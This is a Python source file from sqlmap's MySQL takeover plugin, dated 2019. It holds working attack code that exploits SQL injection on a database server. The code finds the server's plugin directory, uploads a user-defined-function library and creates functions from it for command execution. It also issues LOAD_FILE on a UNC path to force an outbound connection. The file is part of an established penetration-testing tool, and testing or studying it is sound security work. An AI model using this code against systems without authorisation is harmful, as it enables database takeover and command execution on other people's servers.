sqlmap/plugins/dbms/mysql/takeover.py
2019-01-05 21:38:52 +01:00

120 lines
4.9 KiB
Python

#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import os
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import decloakToTemp
from lib.core.common import isStackingAvailable
from lib.core.common import isWindowsDriveLetterPath
from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes
from lib.core.common import randomStr
from lib.core.common import unArrayizeValue
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.enums import OS
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def __init__(self):
self.__basedir = None
self.__datadir = None
self.__plugindir = None
GenericTakeover.__init__(self)
def udfSetRemotePath(self):
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if banVer >= "5.0.67":
if self.__plugindir is None:
logger.info("retrieving MySQL plugin directory absolute path")
self.__plugindir = unArrayizeValue(inject.getValue("SELECT @@plugin_dir"))
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
if self.__plugindir is None and banVer >= "5.1.19":
logger.info("retrieving MySQL base directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir"))
if isWindowsDriveLetterPath(self.__basedir or ""):
Backend.setOs(OS.WINDOWS)
else:
Backend.setOs(OS.LINUX)
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
if Backend.isOs(OS.WINDOWS):
self.__plugindir = "%s/lib/plugin" % self.__basedir
else:
self.__plugindir = "%s/lib/mysql/plugin" % self.__basedir
self.__plugindir = ntToPosixSlashes(normalizePath(self.__plugindir)) or '.'
self.udfRemoteFile = "%s/%s.%s" % (self.__plugindir, self.udfSharedLibName, self.udfSharedLibExt)
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
else:
# logger.debug("retrieving MySQL data directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
# self.__datadir = inject.getValue("SELECT @@datadir")
# NOTE: specifying the relative path as './udf.dll'
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
self.__datadir = '.'
self.__datadir = ntToPosixSlashes(normalizePath(self.__datadir))
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
def udfSetLocalPaths(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
if Backend.isOs(OS.WINDOWS):
_ = os.path.join(self.udfLocalFile, "mysql", "windows", "%d" % Backend.getArch(), "lib_mysqludf_sys.dll_")
self.udfLocalFile = decloakToTemp(_)
self.udfSharedLibExt = "dll"
else:
_ = os.path.join(self.udfLocalFile, "mysql", "linux", "%d" % Backend.getArch(), "lib_mysqludf_sys.so_")
self.udfLocalFile = decloakToTemp(_)
self.udfSharedLibExt = "so"
def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
ret = inpRet["return"]
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def uncPathRequest(self):
if not isStackingAvailable():
query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
Request.queryPage(payload)
else:
inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)